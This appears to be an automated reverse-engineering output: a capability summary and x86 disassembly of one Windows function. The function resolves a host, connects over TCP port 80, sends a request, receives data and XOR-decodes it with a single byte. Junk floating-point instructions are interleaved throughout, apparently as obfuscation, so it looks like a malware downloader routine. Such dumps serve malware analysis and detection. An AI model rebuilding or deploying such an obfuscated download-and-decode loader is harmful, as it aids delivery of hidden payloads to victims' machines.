Function at 0x4085e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040caa0
push 0xffffffffffffffff
push 0x41e9bb
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x426070]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fst dword [ebp - 0x38]
fst dword [ebp - 0x3c]
xor edx, edx
fldz
xor eax, eax
fst qword [ebp - 0x4c]
mov byte [ebp + 0x11bc], al
mov byte [ebp - 4], 1
mov word [ebp - 0x1c], dx
fst qword [ebp - 0x34]
mov word [ebp - 0x28], ax
fxch st(1)
fst dword [ebp - 0x20]
mov eax, esi
mov dword [ebp - 0x1c], ebx
fstp dword [ebp - 0x2c]
lea edx, [eax + 1]
fstp qword [ebp - 0x44]
fld dword [ebp - 0x20]
fsub qword [0x41f8d8]
fstp qword [ebp - 0x4c]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408698
mov cx, word [0x42318c]
sub eax, edx
mov edx, dword [0x4259d8]
mov edi, eax
movsx eax, cx
add edx, eax
cmp edi, 0x7f
mov word [0x425358], dx
jg 0x408b8c
fld qword [0x41f8d0]
xor ecx, ecx
fld1
mov edx, 0x8ffc8980
cmp ecx, edi
jg 0x40873f
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
inc dword [0x425328]
fld qword [ebp - 0x44]
mov eax, dword [0x425328]
mov dword [ebp - 0x24], eax
fild dword [ebp - 0x24]
fsubp st(1)
fcomp st(2)
fnstsw ax
fld qword [ebp - 0x44]
fsub st(1)
fstp qword [ebp - 0x44]
test ah, 5
jp 0x40870f
mov dword [0x42422c], edx
cmp byte [ebp + ecx + 0x13bc], 0x2f
jne 0x40873c
fstp st(1)
mov byte [ebp + ecx + 0x13bc], 0
fstp st(0)
mov eax, ecx
cmp eax, edi
jg 0x408743
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
inc eax
jmp 0x408727
inc ecx
jmp 0x4086d4
fstp st(1)
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408750
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408763
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408ab7
mov eax, edi
mov edx, edi
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408780
lea edi, [ebp + 0x11bc]
or ebx, 0xffffffff
sub eax, edx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408794
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x425f5c
rep movsb byte es:[edi], byte [esi]
call fcn.00402470
inc dword [ebp - 0x1c]
fld dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
fsubr qword [0x41f8c8]
sub ecx, 0x4dc36b85
mov dword [ebp - 0x14], ecx
mov esi, eax
fsub qword [0x41f8c0]
add esp, 8
fild dword [ebp - 0x14]
fcompp
fnstsw ax
fld dword [ebp - 0x2c]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x2c]
test ah, 0x41
jp 0x40880d
fadd dword [0x4254ac]
fstp dword [0x4254ac]
fld dword [0x4254ac]
fsub dword [ebp - 0x38]
fstp dword [ebp - 0x38]
jmp 0x408849
inc word [0x4250a8]
fstp st(0)
mov dx, word [0x4250a8]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [ebp - 0x20]
fadd qword [ebp - 0x34]
mov cx, word [0x424180]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b620
mov word [0x424180], ax
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408850
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407340
fldz
xor eax, eax
mov dword [esi], eax
xor edi, edi
mov dword [ebp - 0x14], edi
fstp dword [ebp - 0x24]
mov byte [esi + 4], al
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x423104]
fadd dword [ebp - 0x24]
mov ecx, dword [0x425980]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b620
push esi
mov dword [0x425980], eax
call fcn.0040b6cb
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088b3
sub eax, edx
push eax
lea edx, [ebp + 0x11bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00407d60
push 0x32
push 0x4253f8
call fcn.00402470
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088e3
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d60
fldz
push 0x32
push edi
mov dword [ebp - 0x14], edi
fstp dword [ebp - 0x24]
push esi
call fcn.0040b890
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x423104]
fadd dword [ebp - 0x24]
mov ecx, dword [0x425980]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b620
push esi
mov dword [0x425980], eax
call fcn.0040b6cb
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408946
sub eax, edx
push eax
lea edx, [ebp + 0x13bc]
push edx
lea ecx, [ebp + 0x1a0]
call fcn.00407d60
fld qword [ebp - 0x34]
mov ax, word [0x4231a0]
movsx ecx, ax
sub ecx, 0x28e7c999
mov dword [ebp - 0x14], ecx
push 5
push 0x424230
fild dword [ebp - 0x14]
fsubp st(1)
fstp qword [ebp - 0x34]
add word [0x4231a0], bx
call fcn.00402470
mov edx, 0x72a4
mov word [0x425010], dx
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089a6
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d60
fldz
mov dword [ebp - 0x14], edi
fstp dword [ebp - 0x24]
xor eax, eax
mov dword [esi], eax
mov byte [esi + 4], al
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x423104]
fadd dword [ebp - 0x24]
mov ecx, dword [0x425980]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b620
mov dword [0x425980], eax
push esi
call fcn.0040b6cb
fld qword [0x423170]
fadd qword [0x41f8b8]
mov edx, dword [0x42420c]
mov dword [ebp - 0x14], edx
add esp, 4
fsub qword [0x41f8b0]
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b620
mov dword [0x42420c], eax
fld qword [0x423170]
fsub qword [0x41f348]
lea eax, [ebp]
push eax
push 0x202
fstp qword [0x423170]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408ad0
fld qword [ebp - 0x34]
fsubr qword [0x41f8a8]
fsub qword [0x41f8a0]
fld dword [ebp - 0x2c]
fcompp
fnstsw ax
fld qword [ebp - 0x34]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x34]
test ah, 0x41
jne 0x408ab5
mov cx, word [0x4241b4]
movsx edx, cx
cmp edx, 0x5524a046
jne 0x408aa5
fsubr dword [ebp - 0x20]
fstp dword [ebp - 0x20]
fld dword [ebp - 0x3c]
fld dword [ebp - 0x20]
fadd qword [0x41f898]
fadd qword [ebp - 0x4c]
fsubp st(1)
fstp dword [ebp - 0x3c]
jmp 0x408ab7
fstp st(0)
fld dword [ebp - 0x2c]
fmul qword [0x41f890]
fstp dword [ebp - 0x2c]
jmp 0x408ab7
fstp st(0)
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b8c
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408b84
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, ebx
jne 0x408b1d
fld qword [ebp - 0x34]
fadd qword [0x41f348]
fstp qword [ebp - 0x34]
mov cx, word [0x423114]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x34]
fmul qword [0x423048]
fstp qword [0x423048]
inc word [0x423114]
call sub.WS2_32.dll_WSACleanup
jmp 0x408ab7
cmp dword [ebp + 0x1458], edi
je 0x408b3e
push 4
lea ecx, [ebp + 0x1458]
push ecx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov dx, word [str._hm]
movzx ecx, word [0x424254]
movsx eax, dx
lea edx, [ecx + eax + 0x30813d08]
lea eax, [ebp + 0x13bc]
mov word [0x424254], dx
add word [str._hm], bx
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, edi
jne 0x408bb1
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b8c
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040b170
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b872
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call fcn.0040aed0
cmp eax, ebx
jne 0x408c18
fld dword [0x423258]
cmp dword [ebp + 0x1b8], edi
fadd qword [0x41f888]
fstp dword [0x423258]
jmp 0x408b7b
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408c2c
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push 0
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408c4f
cmp dword [ebp + 0x1b8], edi
jmp 0x408abe
mov ecx, dword [ebp - 0x18]
push 0
push 0x41f880
call fcn.00407340
or edi, 0xffffffff
or ebx, edi
mov edx, dword [ebp - 0x20]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
add dword [ebp - 0x1c], 0x69d4338a
test eax, eax
jle 0x408e11
mov ecx, dword [ebp - 0x18]
push eax
lea eax, [ebp + 0x1bc]
push eax
call fcn.00407d60
test edi, edi
jge 0x408dc6
mov cx, word [0x423208]
mov edx, dword [0x424224]
movsx eax, cx
add edx, eax
push 5
mov word [0x423208], dx
dec dword [0x424224]
push 0x424230
call fcn.00402470
add esp, 8
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408cd4
sub eax, ecx
mov ecx, dword [ebp - 0x18]
push eax
push 0
push esi
call fcn.004044a0
mov edi, eax
mov ax, word [0x424188]
movzx ecx, word [ebp - 0x28]
cwde
imul ecx, eax
push esi
mov word [ebp - 0x28], cx
push 5
call fcn.004017b0
add esp, 8
fld qword [0x424fe8]
fadd qword [0x41f878]
fstp qword [0x424fe8]
test edi, edi
jl 0x408dc6
fld qword [ebp - 0x44]
mov edx, dword [ebp - 0x18]
fsub qword [0x41f870]
push edx
add edi, 4
fstp qword [ebp - 0x44]
call fcn.004052a0
fld dword [ebp - 0x38]
mov ebx, eax
fadd qword [0x424ff8]
add esp, 4
mov dword [ebp - 0x14], ebx
fadd qword [ebp - 0x34]
fstp qword [ebp - 0x34]
fld qword [0x424ff8]
fadd qword [0x41f348]
fstp qword [0x424ff8]
test ebx, ebx
jge 0x408dca
push 0xb
push 0x4254dc
call fcn.00402470
fld qword [0x425448]
fsub qword [0x41f868]
mov ecx, dword [ebp - 0x18]
add esp, 8
mov esi, eax
push 0
fstp dword [0x423244]
push esi
call fcn.004050c0
push esi
push 0xb
mov ebx, eax
call fcn.004017b0
mov ax, word [0x4254c0]
movzx ecx, word [0x423094]
cwde
add eax, 0x4b46539d
imul ecx, eax
add esp, 8
mov word [0x423094], cx
test ebx, ebx
jge 0x408e11
mov ebx, dword [ebp - 0x14]
test ebx, ebx
jl 0x408dd6
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408e11
fld qword [ebp - 0x44]
fadd qword [0x41f860]
fadd qword [ebp - 0x34]
fmul dword [ebp - 0x38]
fstp dword [ebp - 0x38]
fld qword [ebp - 0x34]
cmp dword [ebp + 0x1458], 0
fsub qword [0x41f348]
fstp qword [ebp - 0x34]
je 0x408eea
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x14], 0x4000
jb 0x408eea
mov ecx, dword [ebp - 0x20]
push ecx
call sub.WS2_32.dll_closesocket
add dword [ebp - 0x1c], 0x75dc0f50
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x408e49
push edi
mov edi, dword [ebp - 0x18]
push 0
mov ecx, edi
call fcn.00405030
mov edx, dword [0x42307c]
mov word [ebp - 0x1c], dx
inc dword [0x42307c]
jmp 0x408e4c
mov edi, dword [ebp - 0x18]
fld dword [ebp - 0x2c]
fsub qword [0x41f858]
fcomp qword [0x41f850]
fnstsw ax
test ah, 1
jne 0x408e7d
fld dword [0x42326c]
fsub dword [ebp - 0x3c]
fstp dword [0x42326c]
fld dword [ebp - 0x3c]
fadd qword [0x41f348]
fstp dword [ebp - 0x3c]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408ed1
xor esi, esi
lea esp, [esp]
cmp esi, dword [edi + 0x14]
jae 0x408ed1
mov ax, word [ebp - 0x28]
movsx ecx, ax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsub qword [ebp - 0x44]
call fcn.0040b620
mov word [ebp - 0x28], ax
cmp esi, dword [edi + 0x14]
jbe 0x408eb8
call fcn.0040c369
cmp dword [edi + 0x18], 0x10
jb 0x408ec7
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408e90
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408e90
cmp dword [ebp + 0x1b8], 0x10
jb 0x408b8c
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408b84
inc dword [ebp - 0x28]
mov ax, word [ebp - 0x28]
movsx ecx, ax
add ecx, dword [0x424208]
mov dword [0x424208], ecx
jmp 0x408c63